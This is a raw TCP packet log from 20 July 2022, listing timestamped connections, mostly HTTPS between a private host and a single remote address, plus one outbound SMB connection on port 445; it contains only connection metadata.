Jul 20, 2022 13:23:44.890661955 CEST	443	49749	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.890747070 CEST	443	49749	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.890767097 CEST	49749	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.890846014 CEST	49749	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.891232014 CEST	49752	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.891275883 CEST	443	49752	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.892502069 CEST	49749	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.892532110 CEST	443	49749	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.893678904 CEST	443	49750	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.893810034 CEST	49750	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.896241903 CEST	49750	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.896259069 CEST	443	49750	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.897536993 CEST	49750	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.897553921 CEST	443	49750	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.914216042 CEST	443	49751	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.914351940 CEST	49751	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.938827991 CEST	443	49750	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.938853025 CEST	443	49750	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.938914061 CEST	49750	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.938924074 CEST	443	49750	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.938955069 CEST	49750	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.938994884 CEST	49750	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.941512108 CEST	443	49750	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.941565990 CEST	49750	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.941601992 CEST	443	49750	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.941649914 CEST	49750	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.951783895 CEST	49751	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.951809883 CEST	443	49751	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.952680111 CEST	443	49752	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.952771902 CEST	49752	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.968539000 CEST	49751	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.968559027 CEST	443	49751	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.972206116 CEST	49752	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.972242117 CEST	443	49752	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.975286007 CEST	49752	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.975305080 CEST	443	49752	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.989413023 CEST	49750	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.989444017 CEST	443	49750	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.991122961 CEST	49753	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.991153955 CEST	443	49753	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.991261005 CEST	49753	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.998850107 CEST	443	49751	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.998900890 CEST	443	49751	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.998939037 CEST	443	49751	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.998971939 CEST	49751	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.998986006 CEST	49751	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.998999119 CEST	443	49751	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:44.999026060 CEST	49751	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:44.999110937 CEST	49751	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.005027056 CEST	443	49752	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.005058050 CEST	443	49752	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.005083084 CEST	443	49752	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.005209923 CEST	49752	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.005254984 CEST	443	49752	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.005312920 CEST	49752	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.005321026 CEST	443	49752	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.005420923 CEST	49752	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.005445004 CEST	49752	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.018596888 CEST	443	49751	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.018649101 CEST	443	49751	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.018733978 CEST	49751	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.018759966 CEST	443	49751	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.018789053 CEST	49751	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.018826008 CEST	49751	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.023859024 CEST	443	49751	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.023906946 CEST	443	49751	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.023958921 CEST	49751	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.023971081 CEST	443	49751	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.024024010 CEST	49751	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.024028063 CEST	49751	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.032362938 CEST	443	49751	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.032520056 CEST	49751	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.032541990 CEST	443	49751	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.032572985 CEST	443	49751	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.032655001 CEST	49751	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.032704115 CEST	443	49751	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.032783985 CEST	443	49751	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.032807112 CEST	49751	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.032912016 CEST	49751	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.097080946 CEST	49753	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.097109079 CEST	443	49753	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.100373983 CEST	49751	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.100404024 CEST	443	49751	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.115473032 CEST	49752	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.115547895 CEST	443	49752	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.151818991 CEST	443	49753	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.152383089 CEST	49753	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.157757044 CEST	49753	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.157771111 CEST	443	49753	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.158796072 CEST	49753	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.158822060 CEST	443	49753	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.167836905 CEST	49754	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.167880058 CEST	443	49754	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.167964935 CEST	49754	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.171000004 CEST	49754	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.171024084 CEST	443	49754	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.188076973 CEST	443	49753	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.188127041 CEST	443	49753	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.188154936 CEST	49753	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.188170910 CEST	443	49753	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.188220978 CEST	49753	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.188230991 CEST	443	49753	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.188236952 CEST	49753	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.188272953 CEST	49753	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.207094908 CEST	49753	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.207118034 CEST	443	49753	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.224247932 CEST	443	49754	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.224415064 CEST	49754	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.266211987 CEST	49754	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.266235113 CEST	443	49754	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.267802000 CEST	49754	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.267813921 CEST	443	49754	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.289855957 CEST	443	49754	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.289880991 CEST	443	49754	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.289940119 CEST	443	49754	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.289973974 CEST	49754	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.289984941 CEST	49754	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.290093899 CEST	49754	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.357995987 CEST	49754	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.358019114 CEST	443	49754	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.422581911 CEST	49755	445	192.168.2.7	96.253.14.244
Jul 20, 2022 13:23:45.767937899 CEST	49760	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.767975092 CEST	443	49760	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.768163919 CEST	49760	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.768496037 CEST	49760	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.768507004 CEST	443	49760	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.822398901 CEST	443	49760	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.823467970 CEST	49760	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.833337069 CEST	49760	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.833357096 CEST	443	49760	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.847754002 CEST	49760	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.847768068 CEST	443	49760	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.873198032 CEST	443	49760	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.873239994 CEST	443	49760	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.873274088 CEST	443	49760	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.873358965 CEST	49760	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.873370886 CEST	443	49760	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.873439074 CEST	49760	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.873514891 CEST	49760	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.890609026 CEST	443	49760	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.890655041 CEST	443	49760	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.890779018 CEST	49760	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.890809059 CEST	443	49760	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.890858889 CEST	49760	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.890867949 CEST	49760	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.891294003 CEST	443	49760	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.891367912 CEST	49760	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.895689964 CEST	443	49760	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.895742893 CEST	443	49760	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.895988941 CEST	49760	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.896003962 CEST	443	49760	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.896276951 CEST	49760	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.904881001 CEST	443	49760	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.904937983 CEST	443	49760	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.905020952 CEST	443	49760	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.905072927 CEST	49760	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.905092955 CEST	443	49760	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.905106068 CEST	49760	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.905111074 CEST	49760	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.905119896 CEST	443	49760	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.905164957 CEST	49760	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.905173063 CEST	49760	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.928066015 CEST	49760	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.928098917 CEST	443	49760	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.953505039 CEST	49764	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.953573942 CEST	443	49764	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:45.953748941 CEST	49764	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.954673052 CEST	49764	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:45.954715967 CEST	443	49764	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.008197069 CEST	443	49764	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.009077072 CEST	49764	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.049420118 CEST	49764	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.049451113 CEST	443	49764	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.069113970 CEST	49764	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.069129944 CEST	443	49764	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.083803892 CEST	49768	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.083852053 CEST	443	49768	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.083951950 CEST	49768	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.087486029 CEST	443	49764	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.087536097 CEST	443	49764	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.087585926 CEST	443	49764	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.087657928 CEST	49764	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.087671041 CEST	443	49764	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.087702990 CEST	49764	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.087718010 CEST	49764	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.089448929 CEST	49768	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.089473963 CEST	443	49768	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.106959105 CEST	49764	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.107002020 CEST	443	49764	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.143920898 CEST	443	49768	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.144035101 CEST	49768	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.146929026 CEST	49768	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.146960974 CEST	443	49768	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.148899078 CEST	49768	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.148921013 CEST	443	49768	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.172879934 CEST	49771	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.172914028 CEST	443	49771	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.173141003 CEST	49771	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.174890995 CEST	49771	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.174918890 CEST	443	49771	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.183418989 CEST	443	49768	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.183474064 CEST	443	49768	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.183552027 CEST	443	49768	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.183564901 CEST	49768	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.183607101 CEST	49768	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.183620930 CEST	443	49768	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.183650970 CEST	49768	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.183726072 CEST	49768	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.198765039 CEST	443	49768	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.198914051 CEST	49768	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.198947906 CEST	443	49768	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.199031115 CEST	49768	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.203269958 CEST	443	49768	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.203319073 CEST	443	49768	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.203377008 CEST	49768	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.203404903 CEST	443	49768	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.203443050 CEST	49768	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.203458071 CEST	49768	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.204766035 CEST	443	49768	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.204875946 CEST	49768	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.204900026 CEST	443	49768	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.204920053 CEST	443	49768	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.204977989 CEST	49768	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.205029011 CEST	49768	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.205557108 CEST	49768	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.205594063 CEST	443	49768	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.205605984 CEST	49768	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.205674887 CEST	49768	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.230602026 CEST	443	49771	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.230952978 CEST	49771	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.233222008 CEST	49771	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.233242989 CEST	443	49771	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.235121012 CEST	49771	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.235138893 CEST	443	49771	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.262473106 CEST	49773	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.262543917 CEST	443	49773	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.262768030 CEST	49773	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.263150930 CEST	443	49771	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.263187885 CEST	443	49771	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.263211012 CEST	443	49771	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.263336897 CEST	49771	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.263438940 CEST	443	49771	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.263458967 CEST	49771	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.263498068 CEST	49771	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.267299891 CEST	49773	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.267328978 CEST	443	49773	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.273916960 CEST	49774	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.273971081 CEST	443	49774	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.274065018 CEST	49774	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.275230885 CEST	49774	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.275265932 CEST	443	49774	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.278476954 CEST	443	49771	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.278575897 CEST	49771	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.278604984 CEST	443	49771	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.278676987 CEST	49771	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.281374931 CEST	443	49771	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.281423092 CEST	443	49771	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.281466961 CEST	49771	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.281496048 CEST	443	49771	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.281526089 CEST	49771	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.281547070 CEST	49771	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.281553984 CEST	443	49771	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.281609058 CEST	49771	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.311400890 CEST	49771	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.311429977 CEST	443	49771	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.320446968 CEST	443	49773	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.320893049 CEST	49773	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.328437090 CEST	443	49774	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.328741074 CEST	49774	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.330993891 CEST	49774	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.331008911 CEST	443	49774	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.334517002 CEST	49774	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.334527016 CEST	443	49774	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.334683895 CEST	49773	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.334702015 CEST	443	49773	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.340507030 CEST	49773	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.340528965 CEST	443	49773	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.363149881 CEST	443	49774	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.363167048 CEST	443	49774	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.363233089 CEST	443	49774	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.363270998 CEST	49774	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.363290071 CEST	49774	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.363308907 CEST	443	49774	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.363326073 CEST	49774	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.363409042 CEST	49774	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.365865946 CEST	443	49773	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.365905046 CEST	443	49773	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.365978003 CEST	443	49773	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.365998030 CEST	49773	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.366019011 CEST	443	49773	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.366036892 CEST	49773	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.366097927 CEST	49773	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.366105080 CEST	49773	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.380614996 CEST	443	49774	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.380659103 CEST	443	49774	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.380764008 CEST	49774	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.380789042 CEST	443	49774	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.380805969 CEST	49774	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.380858898 CEST	49774	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.381469965 CEST	443	49774	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.381597996 CEST	49774	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.381927967 CEST	443	49773	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.382031918 CEST	49773	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.382054090 CEST	443	49773	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.382145882 CEST	49773	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.385566950 CEST	443	49774	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.385581017 CEST	443	49774	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.385658979 CEST	49774	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.385677099 CEST	443	49774	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.385744095 CEST	49774	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.386413097 CEST	443	49773	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.386503935 CEST	443	49773	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.386528969 CEST	49773	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.386565924 CEST	49773	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.386580944 CEST	49773	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.388484955 CEST	443	49774	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.388550043 CEST	443	49774	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.388641119 CEST	49774	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.388664007 CEST	443	49774	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.388694048 CEST	49774	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.388712883 CEST	49774	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.396394014 CEST	443	49774	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.396461010 CEST	443	49774	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.396517038 CEST	49774	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.396548033 CEST	443	49774	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.396579981 CEST	49774	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.396785975 CEST	49774	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.400181055 CEST	443	49774	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.400223017 CEST	443	49774	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.400361061 CEST	49774	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.400388956 CEST	443	49774	23.211.6.115	192.168.2.7
Jul 20, 2022 13:23:46.400410891 CEST	49774	443	192.168.2.7	23.211.6.115
Jul 20, 2022 13:23:46.401627064 CEST	49774	443	192.168.2.7	23.211.6.115
